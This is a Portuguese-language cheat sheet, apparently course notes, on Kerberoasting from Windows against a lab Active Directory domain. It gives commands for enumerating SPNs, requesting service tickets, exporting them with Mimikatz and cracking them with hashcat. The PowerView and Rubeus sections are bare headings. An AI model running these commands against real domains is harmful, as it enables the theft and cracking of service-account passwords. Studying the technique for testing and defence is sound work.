Kerberoasting - from Windows

  • Enumerando SPNs com setspn.exe

setspn.exe -Q */*
  • Visando um único usuário

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
  • Recuperando todos os tickets usando setspn.exe

setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
  • Extraindo Tickets da Memória com Mimikatz

mimikatz # base64 /out:true

mimikatz # kerberos::list /export 
  • Preparando o Blob Base64 para Cracking

cho "<base64 blob>" |  tr -d \\n 
  • Colocando a saída em um arquivo como .kirbi

cat encoded_file | base64 -d > sqldev.kirbi
  • Modificando crack_file para Hashcat

sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
  • Quebrando o Hash com Hashcat

hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt 

Rota automatizada/baseada em ferramentas

  • Usando o PowerView para extrair tickets TGS

  • Usando o PowerView para direcionar um usuário específico

  • Exportando todos os tickets para um arquivo CSV

  • Visualizando o conteúdo do arquivo .CSV


Usando Rubeus

  • Usando o sinalizador /stats

  • Usando o sinalizador /nowrap

  • Quebrando o Ticket com Hashcat e rockyou.txt

  • Verificando os tipos de criptografia suportados

  • Solicitando um novo bilhete

  • Executando Hashcat e verificando o status do trabalho de cracking

Last updated